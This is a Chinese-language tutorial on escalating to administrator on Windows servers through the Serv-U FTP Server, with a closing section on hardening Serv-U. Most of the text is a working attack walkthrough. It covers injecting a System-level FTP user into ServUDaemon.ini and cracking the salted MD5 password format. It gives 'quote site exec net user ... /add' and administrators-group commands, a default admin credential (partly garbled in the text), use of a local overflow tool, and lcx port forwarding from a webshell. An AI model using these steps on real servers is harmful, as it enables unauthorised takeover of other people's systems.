提权学习:第三方软件提权(Server-u 提权)43958
当你的才华
还撑不起你的野心时
那你就应该静下心来学习
第三方软件提权
Server-u 提权
Serv-U FTP Server,是一种被广泛运用的FTP服务器端软件,支持3x/9x/ME/NT/2K等全Windows系列。可以设定多个FTP服务器、限定登录用户的权限、登录主目录及空间大小等 。
对于可写权限的,可以通过手工修改ServUDaemon.ini文件来修改用户密码了。但是注意这样修改后的密码,需要重起Serv-U才能生效。要使得密码即时生效,还需要在ServUDaemon.ini的[[GLOBAL]]部分加入ReloadSettings=True,这个语句在Serv-U重新载入ServUDaemon.ini的内容后会自动消失。
由于Serv-U的用户多,提权成功率也高,众多ASP木马纷纷将此提权功能集成在内(大部分木马都是针对不可写权限情况设计的)。
对于不可写权限,serv_u6.4以下的,如果默认密码没有修改的,直接可以提权。7以上的可以修改下脚本提权目录,不要用默认的C盘,改在其他盘符用脚本提权
如果管理员能够执行,就用管理员帐号来提权
如果不行,就利用管理员身份创建可以执行的用户
server-u提权常用方法一
1,查看默认安装目录下的ServUDaemon.ini文件,进而查看用户名和密码,将密码去cmd5.com找到对应的server-u的解密方式进行解密。
2,登入ftp,执行如下命令,创建用户,并且加入到管理员组。
-
quote site exec net user v01cano v01cano /add
-
-
quote site exec net localgroup administrators v01cano /add
server-u提权常用方法二
1,使用大马直接创建ftp账号,使用ftp账号登入ftp。
2,然后再执行如下命令,创建系统账号。
-
quote site exec net user v01cano v01cano /add
-
-
quote site exec net localgroup administrators v01cano /add
server-u提权常用方法三
server-u的管理员账号权限较大,相当于系统权限,可以通过管理员账号直接创建用户,并且加入到管理员组。
0x01 Serv-U提权分两种
• 有修改权限(可写权限)
• 无权限修改(不可写权限)
拓展知识:
• 本地溢出权限提升(该漏洞存在于serv-u 6.0和6.0以前的版本)
• serv-u ftp转发端口
前言
预备知识:
serv-u默认安装目录:C:\Program Files\rhinosoft.com\serv-U
serv-u密码文件:ServUDaemon.ini
端口如果改了可以通过pid查看
或者可以到serv u的配置文件里面去找!
SerUDaemon.ini这个文件
lccalsetuportNo=端口
管理员修改了serv u 密码
进入其安装目录找到serv u的ServUDaemon.ini这个文件(该文件时储存密码的),然后将密码丢到shell里面去,然后进行serv-u提权,不过一般管理员并不修改serv-u的密码
0x02 有修改权限
0. 判断是否安装serv-u
serv-u的默认端口是43958 可以用nmap 扫描确认
1. 检查是否有可写权限
一般安装目录 c:\Program Files\Serv-u\SerUDaemon.ini
打开配置文件
2. 增加用户
在user4=添加一个系统用户
或这样也可以
-
[USER=spiger|1] //用户名
-
Password=sbd8b58b5c201ee5cc20f9a8551197d4a5 //用户密码加密后的密文
-
HomeDir=c:\ftp\seven //目录
-
RelPaths=3
-
TimeOut=600 //超时时间设置
-
Maintenance=System //权限
-
Access1=C:\|RWAMELCDP //可访问的目录及权限
-
Access2=d:\|RWAMELCDP //可访问的目录及权限
-
Access3=e:\|RWAMELCDP //可访问的目录及权限
-
SKEYValues=
-
-
-
注解:斜杠为理解之用,并非也要予以添加
-
添加上述代码并保存后,就会在serv-u中添加用户名为spiger,密码是123456。
-
-
通过在本地命令行执行ftp 目标IP地址 命令来连接目标FTP服务器。
-
连接后quote site exec net user spiger 123456 /add
-
quote site exec net localgroup administrators spiger /add
注:Access1=C:\|RWAMELCDP(这个代表所有权限,包括可执行)
复制一个 修改名字
password 密码格式是 gw+md5
我从https://www.cmd5.com/ 把gw123456 加密 注意gw是他的,也属于密码规则
把加密完的密码去替换复制的密码 password=gw+md5(gw123456)
如果默认用户名和密码被修改,那么我们可以查看下serv_u的安装目录(如何找到安装目录不在本文讨论范围),Serv-U默认的是把密码保存在ServUDaemon.ini文件中。
默认的密码加密规则是:
1. 随机生成两个字母; 2. 把这两个字母和用户的密码拼接; 3. 用md5加密这个拼接得到的字符串,并把加密结果全部转为大写; 4. 把第1步中的那两个字母和第3步的结果拼接,得到的字符串就是用户密码的最终密文。
那么知道这个原理,我们可以把找到的密码分开去**,然后用**的用户名和密码再去用脚本提权
maintenance=system 是代表系统权限 user=你命名的用户
cmd访问 ftp 连接 ip 输入你刚刚添加的用户密码 ,登录成功如下图:
输入
quote site exec net user username password /add quote site exec net localgroup administrators username /add
利用ftp命令quote site exec 添加用户 加入administrators 权限组
打开3389连接
PS:上述添加的文件中最重要的是Maintenance=System这句,有了这句添加的FTP用户才是管理员用户,才会有命令执行权限(因为最后是通过FTFP执行命令来添加系统用户的)
网上看到的另外一种有权限方式
Serv-U目录有修改提权:
ServU 密码加密存储方法
首先随机生成2位字符(从a-z小写字符)
再将用户原始密码与这2位随机字符合并成为新的密码字符.
如: 用户原始密码为a,随机生成字符为dx,则合并后新的密码字符串为:"dxa"
再使用新密码字符串进行MD5 Hash运算.
dxa=F2319AE3B312103BB3259CA8242DD16C
然后再存储到ini文件,存储方法为2位随机字符加上新密码字符的MD5 Hash值.
如下:
-
[USER=a|1]
-
Password=dxF2319AE3B312103BB3259CA8242DD16C
ServU 密码**方法:
除去前2位随机字符获得F2319AE3B312103BB3259CA8242DD16C.
把该MD5 Hash值存入暴力**工具,产生字典时注意前2位密码必定是dx.
F2319AE3B312103BB3259CA8242DD16C=dxa
提权思路:Serv-U 修改serv-u配置文件 添加超级管理员
步骤:
-
[USER=lx|1]
-
Password=uc8270A0A37BE006573C96DB29DF42DEE8
-
HomeDir=c:\
-
TimeOut=600
-
Maintenance=System
-
Access1=C:\|RWAMELCDP
用cmd登陆ftp,,然后在执行下列命令添加用户
-
quote site exec net user 用户 密码 /add 添加用户
-
quote site exec net localgroup administrators 用户 /add 添加到管理员组
C:\Program Files\RhinoSoft.com\Serv-U 默认端口43958 修改的文件ServUDaemon.ini (默认路径)
注意:添加失败的原因可能添加的用户名重名,试试其他组合的用户名,User2=pp|1|0 (用户的顺序一定要设置好)
0x03 无修改权限
1. 利用md5 直接去解密(ini 文件密码在ftp连)
2. 默认密码,默认用户
端口写上ftp的端口
口令可能不是默认值,(通过c32hex它)
hex 就是十六进的意思
账户:LocalAdministrator ,密码:#aaa@qq.com$ak#.lk;aaa@qq.com
命令cmd /c net user DisKill /add & net localgroup administrators DisKill /add
3. 不是默认密码时 直接把SerUAdmin.exe 下载下来 进行查看密码
0x04 对权限文件,进行一个总结吧
serv-u配置文件无修改权限,但是可以看到配置文件,进行口令**
看到FTP用户的配置文件ServUDaemon.ini,在其中找到Maintenance=System的用户,该用户就是系统管理员。如果能够成功**系统管理员的口令,就可以利用该管理员执行添加系统管理员的用户
serv-u配置文件中Password字段就是用户口令加密变换后的字符串,**方法:去掉前两位,剩下的进行md5**,**后再去掉前两位,剩下的就是FTP用户口令。
serv-u配置文件无修改权限,可以用Serv-u管理用户来进行提权(这是最常用的方法,一般大马中集成的serv-u提权方法就是本方法)
serv-u的默认管理端口是43958,只有本地才能进行连接这个管理端口。serv-u默认管理账号是LocalAdministrator,默认密码是”#aaa@qq.com$ak#.lk;aaa@qq.com“,这个密码是固定的。如果网站管理员忘记修改密码,那么获取webshell后就可以连接该端口后执行命令来添加系统用户。
虽然,网站管理员很少修改serv-u的这个默认管理账号和口令,但是如果管理员修改了,我们还可以通过查 ServUAdmin.exe文件来获取管理账号和口令。
方法如下:
-
1. 下载serv-u目录下的ServUAdmin.exe文件
-
-
2. 在本地用文本文件打开,查找LocalAdministrator字符来获取口令位置
-
-
3. 通常可以看到serv-u的管理账号和口令都在文件中,仔细查找即可(如果连用户名也修改了,就搜127.0.0.1或记住账号和密码在文件中的位置)。获取管理账号和口令后就可以利用大马自带的serv-u来进行提权了。
0x05 serv-u ftp本地溢出权限提升(使用6.0以及以前版本)
1、用Serv-U提权综合工具生成提权工具serv_u.exe
2、先上传 serv_u.exe 到一个盘符下 比如是d盘
3、执行命令 d:\serv_u.exe
4、d:\serv_u.exe “net user username password /add” (注意命令要有引号)
5、d:\serv_u.exe “net localgroup administrators username /add” (注意命令要有引号)
0x06 serv-u ftp转发端口
上一种方法中提到serv-u的本地管理账号只能本地进行连接,但我们可以利用端口转发的方式来将其管理端口转发的本地,进而提权。在目标Webshell上运行LCX:lcx -slave 你的IP 5000 127.0.0.1 43958
在本机上运行:lcx -listen 5000 21
打开本地的SERV_U 在IP上填入127.0.0.1 帐号写LocalAdministrator 密码#aaa@qq.com$ak#.lk;aaa@qq.com
此时的连接过程是:本机连接21端口——>转发往本机5000端口——>管道连接至远程机5000端口——>转发至远程43958端口
连接成功后,在本机登陆Serv_U就相当于登陆了远程的Serv_U。你可以FTP登陆本机IP,输入上面的帐号和密码,在远程FTP服务器上执行命令。
上面是serv-u6及以下的主要方法,其中方法也适用于servu-7等版本,只是文件路径可能有所变化。下面讲serv-u7及以上版本的提权,不适用于serv-u6是因为文件路径发生变化,serv-u6没有相应文件。
serv-u7中管理员的口令在C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive文件中,**方法和serv-u6是一样的。
那么该如何防御呢?
servr-u如果权限设置不当容易被提权,添加账号
防范方法:
1.确保serv-u安装路径只有系统用户访问权限
2.确保建立的ftp账号不要给执行权限
3.修改ftp默认监听端口
Serv-U防溢出提权攻击解决办法:
降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录
分析一下Ser-U 防溢出提权产生的原因
如今Microsoft系列(Win2k Win2k3)SERVER中使用最为广泛的FTP服务器之一、大名鼎鼎的Serv-U FTP服务器中如何简单地解决Overflow溢出、以及Hacker常用的Webhsell提升权限等类攻击的隐患与缺陷;读完本文,您将可以使您的 Serv-U服务器免去被溢出、被提升权限的安全威胁与危险。
前言:
大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的"Serv-U FTPMDTM命令缓冲区溢出"与"Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞"吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点、甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了;虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷。(注:最常见的就如webshell+su提权,我在 Baidu输入"Serv-U提权"关键词,搜索结果“百度一下,找到相关网页约34,000篇,用时0.001秒 ”)因此,解决Serv-U的安全问题迫在眉睫。
Serv-U提权虽然严格来说这个不应该算是Serv-U的重大漏洞,但只要因管理员的配置不当将会产生严重的后果;下面LeeBolin就来为大家介绍下如何安全配置 Serv-U,才能保证Serv-U甚至服务器的安全
一、大家知道Liunx系统和Unix系统比Windows安全的一个重要原因在于:
Linux和Unix的系统服务不使用root权限,而是使用权限比较低的另外一个单独用户,比如web服务使用了nobody这个用户。而Serv-U默认是以system身份运行的,而System这个系统内置账户对本机有完全操作的权限;因此如果攻击者利用Serv-U程序的漏洞而获得了可执行shell的那,那么他将可以随意控制操作系统里任何一个目录了
二、我们根据一的讲解知道了为什么Serv-U提权与溢出攻击可怕的原因了,那么我们该如何防止这一类攻击的发生呢?
答案:就是降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录。
三、Serv-U安全配置
1、首先请保持合用Serv-U的最新版本(目前新版为6.4...)。然后在安装Serv-U的时候尽量不要选择默认的安装目录,比如俺将Serv-U 安装在D:/Pro_LeeBolin^_^/Serv-U#$2008$/...(因为这样复杂的目录名可防止Hacker的猜解)
2、然后将Serv-U取消MDTM命令的执行,修改Serv-U FTP Banner并开启好Serv-U的FTP日志保存到非系统盘,日志选择记录好Serv-U命名用了那些命令与DLL,并为Serv-U设置一个强壮的本地管理密码(因提权多是因为Serv-U的默认管理员:LocalAdministrator,默认密码:#aaa@qq.com$ak#.lk;aaa@qq.com所造成的,呵呵 $_$),你还可以选择将Serv-U的FTP账户信息保存到注册表,不要存在Serv-U目录下的ini文中,这样更加安全。
3、我们再开启"计算机管理"新建一个用户Serv-UAdmin,设置好密码。将用户退出Users组,不加入任何组。并在用户的“终端服务配置文件”选项里取消“允许登录到终端服务器。并且禁止Serv-UAdmin用户的本地登陆。进入控制面板 -> 管理工具 -> 本地安全策略 -> 本地策略 -> 用户权利指派 -> 拒绝本地登陆。(备注:这个用户我们将它来作为俺们Serv-U的服务运行账号,嘿嘿)[(AD^_^:游刃在技术鬼神边缘,打造服务器安全神话!创世纪网络技术前瞻,成就互联网革命先驱!服务器安全讨论区[S.S.D.A]) ]
4、开始运行"Services.msc"打开win的服务管理器,找开Serv-U Ftp Server的Serv-U服务;打开“登陆”对话框。当前默认的为“本地系统帐户”。我们将其修改为我们在3中新建的Serv-UAdmin用户,并输入密码。
5、下面的工作就是设置Serv-U的运行与FTP目录的ACLs权限了:
①C:/Documents and Settings/Serv-UAdmin 目录加入Serv-UAdmin的权限,允许读取与写入..
②D: /Pro_LeeBolin^_^/Serv-U#$2008$/ Serv-U的安装目录加入Serv-UAdmin的权限,允许读取与运行。(如果选择了账户保存在ini文件的话,这里就需要增加修改与删除权限,因增删FTP账户时需要删改权才成,否则不能增删FTP账户哟^_^)
③ 如果Serv-U账户选择存在注册表的话。运行regedt32.exe,打开注册表编辑器。找到[HKEY_LOCAL_MACHINE/ SOFTWARE/Cat Soft]分支。在上面点右键,选择权限,然后点高级,取消允许父项的继承权限传播到该对象和所有子对象,删除除admins外的所有的账号。仅添加 Serv-UAdmin账号到该子键的权限列表,并给予完全控制权限。(如果选择了账户信息保存在ini文件中的话可略过此步。)
④ 现在就来设置WEB目录的ACLs了,比如我的虚拟主机总目录为E:/Leebolin$(%;那么我们将此WEB目录加入 Serv-UAdmin账号的权限即可,这样FTP就可以访问我们的WEB目录进行上传下载了,呵.(由于Serv-U并没有以system运行,所以这里只存留admins与serv-uadmin的权限就OK了。)
⑥如果是asp/php/html脚本的话,WEB目录只需要 admins & serv-uadmin & IUSR_XX即可(这里的IUSR_XX是指站点的匿名单用户账号...关于站点的安全与asp.Net的安全请参考我以前的文章:《FSO安全隐患解决办法》、《ASP木马Webshell之安全防范解决办法》、《ASP.NET木马及Webshell安全解决方案》、《服务器安全检查十大要素》)
四、到目前为止,我们的Serv-U已经简单的做到了防提权,防溢出了。为什么呢?
因为能常远程溢出 overflow的话,都是通过得一shell 而进行进一步的hacking,而我们现在的Serv-U不是以system运行,所以即使执行了overflow指命,也并不能得到什么...防提权就不用我解释了:因为我们的Serv-Uadmin没有任何系统级的ACLs访问权限..
后记:其实服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Serv-U的安全配置小技巧就为大家介绍到这里...
参考链接:
https://www.landui.com/help/show-1354.html
https://www.landui.com/help/show-6145.html
https://blog.csdn.net/Is0Man/article/details/51179637
https://www.cnblogs.com/feizianquan/p/10891352.html
我不需要*,只想背着她的梦
一步步向前走,她给的永远不重